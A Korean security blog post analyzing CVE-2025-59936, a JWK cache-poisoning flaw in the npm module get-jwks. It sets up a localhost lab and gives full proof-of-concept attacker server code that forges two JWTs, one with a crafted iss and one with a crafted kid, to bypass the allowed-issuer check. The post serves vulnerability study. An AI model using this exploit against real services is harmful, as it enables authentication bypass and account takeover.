[분석 일기] JWK를 캐시에 저장하여 관리할 경우 어떻게 될까 with CVE-2025-59936
1. 서론
얼마전에 npm 모듈 중에서 재미있는 취약점이 공개 되었길래 분석을 진행하였다.
`get-jwks` 모듈은 전달 받은 JWT를 verify 하기 위해, iss 필드에 있는 서버로 fetch한 결과(JWK)를 캐시에 저장하는 모듈이다.
이로 인해, 상황에 맞는 동일한 JWK에 대해 다시 요청할 필요 없이 캐시된 정보로 verify 하게 된다.
https://github.com/nearform/get-jwks
GitHub - nearform/get-jwks: Fetch utils for JWKS keys
Fetch utils for JWKS keys. Contribute to nearform/get-jwks development by creating an account on GitHub.
github.com
캐시 정보는 key:value 형태로 저장되는데, key는 JWT에서 sig, kid, iss를 추출 및 조합한 값을 key로 사용하고, value는 iss에 요청을 보낸 JWK 정보이다. 이때, JWT에 추출한 값은 verify하기 전 값을 가져와 key를 세팅하므로, 공격자가 임의 key를 지정하여 삽입할 수 있다. 이로 인해, 공격자는 첫번째 JWT는 공격자의 JWK를 저장하기 위한 값으로 캐싱하고, 두번째 요청은 공격자의 개인키로 서명한 JWT 값을 전달하여 verify를 bypass하는(허용된 iss를 설정한 상태에서도) CVE-2025-59936 취약점 이다.
2. get-jwks 모듈 분석
분석할 get-jwks 모듈은 v.11.0.1 버전을 대상으로 분석을 진행할 것이며, commit은 https://github.com/nearform/get-jwks/tree/79314531f66e2f2509d1e0225b9620f11e1422e4 이다.
JWT에 `iss`, `alg`, `kid` 값을 추출하여 `cacheKey` 변수를 생성힌다. 이는 `${alg}:${kid}:${normalizedDomain}` 형태로 key를 생성한 뒤, 캐시에 저장된 JWK가 있다면 해당 값을 리턴한다. 그렇지 않으면, `retrieveJwk()` 함수를 호출하여 iss에 요청을 보내 JWK 정보를 가져와 캐싱한다.
// https://github.com/nearform/get-jwks/blob/79314531f66e2f2509d1e0225b9620f11e1422e4/src/get-jwks.js#L57-L100
async function getPublicKey(signature) {
return jwkToPem(await this.getJwk(signature))
}
function getJwk(signature) {
const { domain, alg, kid } = signature
const normalizedDomain = ensureTrailingSlash(domain)
...
const cacheKey = `${alg}:${kid}:${normalizedDomain}`
const cachedJwk = cache.get(cacheKey)
if (cachedJwk) {
return cachedJwk
}
const jwkPromise = retrieveJwk(normalizedDomain, alg, kid).catch(
err => {
const stale = staleCache.get(cacheKey)
cache.delete(cacheKey)
if (stale) {
return stale
}
throw err
}
)
cache.set(cacheKey, jwkPromise)
...
`retrieveJwk()` 함수는 아래와 같으며, 전달 받은 도메인에 `/.well-known/jwks.json` 으로 요청을 보내어 JWK 정보를 가져온다.
async function retrieveJwk(normalizedDomain, alg, kid) {
const jwksUri = jwksPath
? normalizedDomain + jwksPath
: providerDiscovery
? await getJwksUri(normalizedDomain)
: `${normalizedDomain}.well-known/jwks.json`
const response = await fetch(jwksUri, fetchOptions)
const body = await response.json()
위 분석 내용에서 중요한 점은 JWT에 `iss`, `alg`, `kid` 값을 `${alg}:${kid}:${normalizedDomain}` key 형태로 사용한다는 점이다.
3. 분석 환경 세팅
3.1. JWK 관리 서버 3000번 포트
JWK를 관리하는 서버는 아래와 같다. JWT 관리 서버는 3000번 포트를 오픈하고, `/gen` 엔드포인트는 개인키로 서명된 JWT를 응답한다. 이때, `issuer` 값은 본인 서버 주소를 작성하여 이후 다른 서버에게 JWK 정보를 제공하기 위해 `/.well-known/jwks.json` 엔드포인트로 JWK 정보를 응답하도록 설정하였다.
const express = require('express');
const morgan = require('morgan');
const { generateKeyPair, exportJWK, SignJWT } = require('jose');
const app = express();
const port = 3000;
app.use(express.json());
app.use(morgan('tiny'));
let PRIVATE_KEY;
let JWKS;
let ISSUER = 'http://localhost:3000';
async function initKeys() {
const { publicKey, privateKey } = await generateKeyPair('RS256');
PRIVATE_KEY = privateKey;
const jwk = await exportJWK(publicKey);
jwk.kid = jwk.kid || `kid-${Date.now()}`;
jwk.use = 'sig';
jwk.alg = 'RS256';
JWKS = { keys: [jwk] };
}
app.get('/.well-known/jwks.json', (req, res) => {
console.log("request ")
if (!JWKS) return res.status(503).json({ error: 'keys not ready' });
res.json(JWKS);
});
app.get('/.well-known/openid-configuration', (req, res) => {
res.json({
issuer: ISSUER,
jwks_uri: `${ISSUER}/.well-known/jwks.json`
});
});
app.get("/gen", async (req, res) => {
const payload = {
sub: 'anonymous',
};
const kid = JWKS.keys[0].kid;
const token = await new SignJWT(payload)
.setProtectedHeader({ alg: 'RS256', kid })
.setIssuer(ISSUER)
.setIssuedAt()
.setExpirationTime('1h')
.sign(PRIVATE_KEY);
res.json({ token });
})
initKeys().then(() => {
app.listen(port, () => {
console.log(`JWT issuer server listening on http://localhost:${port}`);
console.log(`JWKS endpoint: http://localhost:${port}/.well-known/jwks.json`);
console.log(`Token gen: POST http://localhost:${port}/gen`);
});
}).catch(err => {
console.error('Failed to initialize keys:', err);
process.exit(1);
});
3.2. API 서버 3001번 포트
다음은 API 서버 코드 이다. 해당 서버는 3001번 포트를 오픈 하고 있으며, 인증 및 기타 API 서버를 제공하는 컨셉이다. `/auth` 엔드포인트에 JWT 값을 포함하여 요청을 보낸다면, 해당 값을 `get-jwks` 모듈에서 검증한다. 추가로, `createVerifier()` 함수에서 허용된 iss 서버를 지정하고 있어, 다른 iss는 사용할 수 없다.
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier, createSigner } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'http://localhost:3000',
});
const app = express();
const port = 3001;
app.use(express.json());
async function verifyToken(req, res, next) {
try {
const headerAuth = req.headers.authorization?.split(' ') || []
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
} catch (err) {
return res.status(401).json({ error: 'Invalid or missing token', details: err.message });
}
}
// 인증 확인 엔드포인트
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
4. 취약점 분석
`get-jwks` 모듈의 문제점은 verify하기 전에 공격자가 전달한 JWT의 iss, kid, sig 값을 key로 하여 공격자의 iss에 요청을 보내어 JWK 정보를 저장한다는 점이다.
아래는 `get-jwks` 모듈의 코드 일부분 이며, 앞서 설명한 것처럼 verify 하기 전에 key를 만든 뒤, 해당 key가 존재하지 않으면 iss에 요청을 보내어 JWK 정보를 `cache.set()` 하는 것을 볼 수 있다.
// https://github.com/nearform/get-jwks/blob/79314531f66e2f2509d1e0225b9620f11e1422e4/src/get-jwks.js#L76
function getJwk(signature) {
const { domain, alg, kid } = signature
...
const cacheKey = `${alg}:${kid}:${normalizedDomain}`
const cachedJwk = cache.get(cacheKey)
if (cachedJwk) {
return cachedJwk
}
// iss 요청
const jwkPromise = retrieveJwk(normalizedDomain, alg, kid).catch(
...
)
// JWK 정보 저장
cache.set(cacheKey, jwkPromise)
return jwkPromise
}
4.1. 공격자 서버 세팅
공격자는 아래와 같은 공격 시나리오가 가능하다.
4.1.1. 공격자의 JWK 정보를 리턴하는 엔드포인트
공격자의 JWK 정보를 응답하는 엔드포인트를 만든다. 이때, 테스트를 위해 kid는 testkid로 지정한다.
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
kid: 'testkid',
alg: 'RS256',
use: 'sig',
}]
});
})
app.use((req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '/.well-known/jwks.json'
});
});
4.1.2. 공격자의 개인키로 서명하는 엔드포인트 및 iss 변조
공격자의 개인키로 서명한 JWT 값을 생성하는 엔드프인트를 만든다. 이때, 위에서 사용한 동일한 kid를 작성해야 하며, iss는 공격자의 서버 주소와 `/?:` 문자열 사이에 추가로 기존 JWK 서버 주소를 작성한다.
const port = 3002;
const host = `http://localhost:${port}`;
const target_iss = `http://localhost:3000`;
app.post('/create-token-1', (req, res) => {
const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`, }, privateKey, {
algorithm: 'RS256',
header: {
kid: "testkid",
} });
res.send(token);
});
이렇게 생성된 JWT를 API(3001번 포트) 서버의 `/auth` 엔드포인트에 전송하면, 캐시에는 아래와 같은 key가 만들어 진다.
RS256:testkid:http://localhost:3002/?:http://localhost:3000
|alg| |-kid-| |-------------------iss----------------------|
value는 공격자가 설정한 iss 값으로 요청을 보내어 JWK 정보를 가져오려고 시도한다. 하지만, iss 값은 4.1.1. 공격자의 JWK 서버 이므로, 앞서 설정한 엔드포인트로 인해 공격자의 JWK 정보를 응답한다. 해당 정보는 캐싱되어 저장된다. 최종적으로, API(3001번 포트) 서버는 verify 하려고 하지만, 기존 JWK(3000번 포트) 서버의 private key로 서명한 것을 공격자의 public key로 검증에 실패한다.
4.1.3. 공격자의 개인키로 서명하는 엔드포인트 및 kid 변조
아래 엔드포인트와 4.1.2. 엔드포인트의 다른 점은 iss 값을 기존 JWK(3000번 포트) 서버로 설정하고 kid를 이상하게 변조하여 JWT를 생성하고 있다.
app.post('/create-token-2', (req, res) => {
const token = jwt.sign({ ...req.body, iss: target_iss , }, privateKey, { algorithm: 'RS256', header: {
kid: `testkid:${host}/?`,
} });
res.send(token);
});
위 엔드포인트로 생성된 JWT를 API(3001번 포트) 서버의 `/auth` 엔드포인트에 전송하면, 캐시에는 아래와 같은 key가 만들어 진다.
RS256:testkid:http://localhost:3002/?:http://localhost:3000
|alg| |------------kid--------------| |-------iss---------|
이는 4.1.2. 에서 생성한 key와 동일하며, 또한 API(3001번 포트) 서버에서 설명한 `createVerifier()` 함수에서 허용된 iss 값을 우회할 수 있는 형태이다. 따라서, 위 엔드포인트로 만들어진 JWT를 전달하면 캐싱된 JWK를 가져오고, 공격자의 private key로 서명한 값을 공격자의 JWK로 verify 하기 때문에 인증을 통과할 수 있다.
4.1.4. 공격자 전체 서버 코드
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const morgan = require('morgan');
const app = express();
const port = 3002;
const host = `http://localhost:${port}`;
const target_iss = `http://localhost:3000`;
app.use(morgan('tiny'));
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`, }, privateKey, {
algorithm: 'RS256',
header: {
kid: "testkid",
} });
res.send(token);
});
// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
const token = jwt.sign({ ...req.body, iss: target_iss , }, privateKey, { algorithm: 'RS256', header: {
kid: `testkid:${host}/?`,
} });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
kid: 'testkid',
alg: 'RS256',
use: 'sig',
}]
});
})
app.use((req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '/.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
5. 결론
`get-jwks` 모듈은 많이 사용하지는 않지만, 공격자가 원하는 JWT를 생성하여 인증을 우회할 수 있는 아주 무서운 취약점인 것 같다. 또한, 앞서 설명한 방법대로 JWK를 캐싱하여 인증을 통과하는 공격 기법은 처음 보는 방법이라 재미있게 읽고 분석할 수 있었다.
'🔒Security' 카테고리의 다른 글
[분석 일기] docs 정독으로 Grav CMS에서 RCE 취약점 찾은 썰 (2) | 2024.01.12 |
---|---|
ctf 문제를 통해 CSP bypass 정리하기 (0) | 2023.03.13 |
SSRF bypass using DNS Rebinding (0) | 2023.01.04 |
nodejs unicode (0) | 2022.10.06 |
[분석일기] - php switch case (0) | 2022.09.06 |
댓글
이 글 공유하기
다른 글
-
[분석 일기] docs 정독으로 Grav CMS에서 RCE 취약점 찾은 썰
[분석 일기] docs 정독으로 Grav CMS에서 RCE 취약점 찾은 썰
2024.01.12 -
ctf 문제를 통해 CSP bypass 정리하기
ctf 문제를 통해 CSP bypass 정리하기
2023.03.13 -
SSRF bypass using DNS Rebinding
SSRF bypass using DNS Rebinding
2023.01.04 -
nodejs unicode
nodejs unicode
2022.10.06